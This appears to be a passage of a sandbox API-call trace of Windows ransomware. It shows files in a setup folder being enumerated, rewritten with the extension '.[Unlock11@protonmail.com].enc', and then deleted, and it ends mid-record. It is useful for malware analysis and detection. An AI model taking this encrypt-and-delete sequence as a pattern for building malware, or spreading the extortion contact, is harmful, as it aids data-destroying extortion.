FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.824] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.824] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.824] GetLastError () returned 0x0 [0113.825] GetCurrentThreadId () returned 0x9b0 [0113.825] GetLastError () returned 0x0 [0113.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bd8 | out: hHeap=0x2ad0000) returned 1 [0113.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0113.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881228 [0113.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.825] GetLastError () returned 0x0 [0113.825] GetLastError () returned 0x0 [0113.825] GetCurrentThreadId () returned 0x9b0 [0113.825] GetLastError () returned 0x0 [0113.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.825] GetLastError () returned 0x0 [0113.826] GetLastError () returned 0x0 [0113.826] GetCurrentThreadId () returned 0x9b0 [0113.826] GetLastError () returned 0x0 [0113.826] GetLastError () returned 0x0 [0113.828] GetLastError () returned 0x0 [0113.828] GetCurrentThreadId () returned 0x9b0 [0113.828] GetLastError () returned 0x0 [0113.828] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c38 | out: hHeap=0x2ad0000) returned 1 [0113.828] GetCurrentThreadId () returned 0x9b0 [0113.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0113.828] GetLastError () returned 0x0 [0113.829] GetLastError () returned 0x0 [0113.829] GetLastError () returned 0x0 [0113.829] GetLastError () returned 0x0 [0113.829] GetCurrentThreadId () returned 0x9b0 [0113.829] GetLastError () returned 0x0 [0113.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.829] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881090 [0113.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881090 | out: hHeap=0x2ad0000) returned 1 [0113.829] GetLastError () returned 0x0 [0113.831] GetLastError () returned 0x0 [0113.831] GetCurrentThreadId () returned 0x9b0 [0113.831] GetLastError () returned 0x0 [0113.831] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0113.831] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.832] GetLastError () returned 0x0 [0113.832] GetLastError () returned 0x0 [0113.832] GetCurrentThreadId () returned 0x9b0 [0113.832] GetLastError () returned 0x0 [0113.832] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x21fb) returned 0x36f8548 [0113.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.832] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x2205) returned 0x36f8548 [0113.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6d58 [0113.832] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0113.832] GetCurrentThreadId () returned 0x9b0 [0113.832] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x2208) returned 0x38273e0 [0113.833] GetLastError () returned 0x0 [0113.833] GetLastError () returned 0x0 [0113.833] GetLastError () returned 0x0 [0113.833] GetLastError () returned 0x0 [0113.833] GetCurrentThreadId () returned 0x9b0 [0113.833] GetLastError () returned 0x0 [0113.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0113.833] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0113.833] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.833] GetLastError () returned 0x0 [0113.834] GetLastError () returned 0x0 [0113.834] GetCurrentThreadId () returned 0x9b0 [0113.834] GetLastError () returned 0x0 [0113.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.834] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0113.834] GetLastError () returned 0x0 [0113.834] GetLastError () returned 0x0 [0113.834] GetCurrentThreadId () returned 0x9b0 [0113.834] GetLastError () returned 0x0 [0113.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.834] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.834] GetLastError () returned 0x0 [0113.835] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.835] CloseHandle (hObject=0x3ac) returned 1 [0113.835] GetLastError () returned 0x0 [0113.835] GetCurrentThreadId () returned 0x9b0 [0113.835] GetLastError () returned 0x0 [0113.835] GetLastError () returned 0x0 [0113.835] CloseHandle (hObject=0x39c) returned 1 [0113.835] GetLastError () returned 0x0 [0113.835] GetCurrentThreadId () returned 0x9b0 [0113.835] GetLastError () returned 0x0 [0113.836] GetLastError () returned 0x0 [0113.836] GetLastError () returned 0x0 [0113.836] GetLastError () returned 0x0 [0113.836] GetLastError () returned 0x0 [0113.836] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0113.837] GetLastError () returned 0x0 [0113.837] GetCurrentThreadId () returned 0x9b0 [0113.837] GetLastError () returned 0x0 [0113.838] GetCurrentThreadId () returned 0x9b0 [0113.838] GetLastError () returned 0x0 [0113.838] GetLastError () returned 0x0 [0113.838] GetLastError () returned 0x0 [0113.838] GetLastError () returned 0x0 [0113.838] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1025\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0113.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0113.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0113.838] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0113.838] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0113.838] GetCurrentThreadId () returned 0x9b0 [0113.839] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.839] GetLastError () returned 0x0 [0113.839] GetLastError () returned 0x0 [0113.839] GetLastError () returned 0x0 [0113.839] GetLastError () returned 0x0 [0113.839] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7410 [0113.839] GetLastError () returned 0x0 [0113.839] GetCurrentThreadId () returned 0x9b0 [0113.839] GetLastError () returned 0x0 [0113.839] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0113.839] GetLastError () returned 0x0 [0113.840] GetCurrentThreadId () returned 0x9b0 [0113.840] GetLastError () returned 0x0 [0113.840] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0113.840] GetLastError () returned 0x0 [0113.840] GetCurrentThreadId () returned 0x9b0 [0113.840] GetLastError () returned 0x0 [0113.840] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0113.840] GetLastError () returned 0x0 [0113.840] GetCurrentThreadId () returned 0x9b0 [0113.840] GetLastError () returned 0x0 [0113.840] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0113.840] GetLastError () returned 0x0 [0113.840] GetCurrentThreadId () returned 0x9b0 [0113.840] GetLastError () returned 0x0 [0113.841] FindNextFileA (in: hFindFile=0x10f7410, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x9badcc, dwReserved1=0x73013d47, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0113.841] GetLastError () returned 0x12 [0113.841] GetCurrentThreadId () returned 0x9b0 [0113.841] GetLastError () returned 0x12 [0113.841] GetLastError () returned 0x12 [0113.841] FindClose (in: hFindFile=0x10f7410 | out: hFindFile=0x10f7410) returned 1 [0113.841] GetCurrentThreadId () returned 0x9b0 [0113.841] GetLastError () returned 0x12 [0113.841] GetLastError () returned 0x12 [0113.841] GetLastError () returned 0x12 [0113.841] GetLastError () returned 0x12 [0113.841] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881258 | out: hHeap=0x2ad0000) returned 1 [0113.842] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0113.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0113.842] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0113.842] GetLastError () returned 0x12 [0113.842] GetLastError () returned 0x12 [0113.842] GetLastError () returned 0x12 [0113.842] GetLastError () returned 0x12 [0113.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0113.842] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0113.842] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.843] GetCurrentThreadId () returned 0x9b0 [0113.843] GetLastError () returned 0x12 [0113.843] GetLastError () returned 0x12 [0113.843] GetLastError () returned 0x12 [0113.843] GetLastError () returned 0x12 [0113.843] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0113.843] GetFileAttributesA (lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1028\\setupresources.dll")) returned 0x80 [0113.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0113.844] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0113.844] GetLastError () returned 0x12 [0113.844] GetLastError () returned 0x12 [0113.844] GetLastError () returned 0x12 [0113.844] GetLastError () returned 0x12 [0113.844] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\eula.rtf", lpFilePart=0x9bada4*="eula.rtf") returned 0x23 [0113.845] GetCurrentThreadId () returned 0x9b0 [0113.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.845] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.845] GetCurrentThreadId () returned 0x9b0 [0113.845] GetLastError () returned 0x12 [0113.845] GetLastError () returned 0x12 [0113.845] GetLastError () returned 0x12 [0113.845] GetLastError () returned 0x12 [0113.845] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml", lpFilePart=0x9bada4*="LocalizedData.xml") returned 0x2c [0113.845] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0113.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0113.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0113.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.846] GetCurrentThreadId () returned 0x9b0 [0113.846] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.846] GetLastError () returned 0x0 [0113.846] GetLastError () returned 0x0 [0113.846] GetLastError () returned 0x0 [0113.846] GetLastError () returned 0x0 [0113.846] GetCurrentThreadId () returned 0x9b0 [0113.846] GetLastError () returned 0x0 [0113.846] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.847] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.847] GetCurrentThreadId () returned 0x9b0 [0113.847] GetLastError () returned 0x0 [0113.847] GetCurrentThreadId () returned 0x9b0 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.847] GetLastError () returned 0x0 [0113.848] GetCurrentThreadId () returned 0x9b0 [0113.848] GetLastError () returned 0x0 [0113.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.848] GetLastError () returned 0x0 [0113.848] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6168 | out: hHeap=0x2ad0000) returned 1 [0113.848] GetLastError () returned 0x0 [0113.848] GetLastError () returned 0x0 [0113.848] GetLastError () returned 0x0 [0113.848] GetCurrentThreadId () returned 0x9b0 [0113.848] GetLastError () returned 0x0 [0113.848] GetLastError () returned 0x0 [0113.849] GetLastError () returned 0x0 [0113.849] GetLastError () returned 0x0 [0113.849] GetLastError () returned 0x0 [0113.849] GetCurrentThreadId () returned 0x9b0 [0113.849] GetLastError () returned 0x0 [0113.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0113.849] GetLastError () returned 0x0 [0113.849] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0113.849] GetLastError () returned 0x0 [0113.849] GetLastError () returned 0x0 [0113.849] GetLastError () returned 0x0 [0113.849] GetCurrentThreadId () returned 0x9b0 [0113.850] GetLastError () returned 0x0 [0113.850] GetCurrentThreadId () returned 0x9b0 [0113.850] GetLastError () returned 0x0 [0113.850] GetLastError () returned 0x0 [0113.850] GetLastError () returned 0x0 [0113.850] GetLastError () returned 0x0 [0113.850] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881000 | out: hHeap=0x2ad0000) returned 1 [0113.850] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1 [0113.850] GetLastError () returned 0x0 [0113.850] GetCurrentThreadId () returned 0x9b0 [0113.850] GetLastError () returned 0x0 [0113.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0113.851] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664034 | out: pbBuffer=0x3664034) returned 1 [0113.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0113.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34ac7c0 [0113.851] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0113.851] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cdb8 [0113.851] GetCurrentThreadId () returned 0x9b0 [0113.851] GetLastError () returned 0x0 [0113.851] GetLastError () returned 0x0 [0113.851] GetLastError () returned 0x0 [0113.851] GetLastError () returned 0x0 [0113.852] GetCurrentThreadId () returned 0x9b0 [0113.852] GetLastError () returned 0x0 [0113.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cdb8 | out: hHeap=0x2ad0000) returned 1 [0113.852] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.852] GetCurrentThreadId () returned 0x9b0 [0113.852] GetLastError () returned 0x0 [0113.852] GetLastError () returned 0x0 [0113.852] GetLastError () returned 0x0 [0113.852] GetLastError () returned 0x0 [0113.852] GetCurrentThreadId () returned 0x9b0 [0113.852] GetLastError () returned 0x0 [0113.852] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.853] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6d78 [0113.853] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ac7c0 | out: hHeap=0x2ad0000) returned 1 [0113.853] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.853] GetFileType (hFile=0x39c) returned 0x1 [0113.853] GetCurrentThreadId () returned 0x9b0 [0113.853] GetFileType (hFile=0x39c) returned 0x1 [0113.853] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.853] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.853] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.854] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.854] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.856] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.856] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.856] GetCurrentThreadId () returned 0x9b0 [0113.856] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.858] GetFileType (hFile=0x3ac) returned 0x1 [0113.858] GetCurrentThreadId () returned 0x9b0 [0113.858] GetFileType (hFile=0x3ac) returned 0x1 [0113.858] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.858] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.858] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.858] GetCurrentThreadId () returned 0x9b0 [0113.858] GetCurrentThreadId () returned 0x9b0 [0113.859] GetCurrentThreadId () returned 0x9b0 [0113.860] GetCurrentThreadId () returned 0x9b0 [0113.860] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0xeda5) returned 0x35c5908 [0113.860] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cf8 [0113.860] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d78 | out: hHeap=0x2ad0000) returned 1 [0113.861] GetCurrentThreadId () returned 0x9b0 [0113.861] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0xeda8) returned 0x36f8548 [0113.861] GetCurrentThreadId () returned 0x9b0 [0113.862] GetCurrentThreadId () returned 0x9b0 [0113.863] GetCurrentThreadId () returned 0x9b0 [0113.863] CloseHandle (hObject=0x3ac) returned 1 [0113.863] GetLastError () returned 0x0 [0113.863] GetCurrentThreadId () returned 0x9b0 [0113.863] GetLastError () returned 0x0 [0113.863] GetLastError () returned 0x0 [0113.863] CloseHandle (hObject=0x39c) returned 1 [0113.863] GetLastError () returned 0x0 [0113.864] GetCurrentThreadId () returned 0x9b0 [0113.864] GetLastError () returned 0x0 [0113.864] GetLastError () returned 0x0 [0113.864] GetLastError () returned 0x0 [0113.864] GetLastError () returned 0x0 [0113.864] GetLastError () returned 0x0 [0113.864] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0113.865] GetLastError () returned 0x0 [0113.866] GetCurrentThreadId () returned 0x9b0 [0113.866] GetLastError () returned 0x0 [0113.866] GetCurrentThreadId () returned 0x9b0 [0113.866] GetLastError () returned 0x0 [0113.866] GetLastError () returned 0x0 [0113.866] GetLastError () returned 0x0 [0113.866] GetLastError () returned 0x0 [0113.866] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\1028\\SetupResources.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\1028\\SetupResources.dll", lpFilePart=0x9bada4*="SetupResources.dll") returned 0x2d [0113.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0113.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0113.866] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0113.866] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0113.867] GetCurrentThreadId () returned 0x9b0 [0113.867] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0113.867] GetLastError () returned 0x0 [0113.867] GetLastError () returned 0x0 [0113.867] GetLastError () returned 0x0 [0113.867] GetLastError () returned 0x0 [0113.867] FindFirstFileA (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*.*", lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, 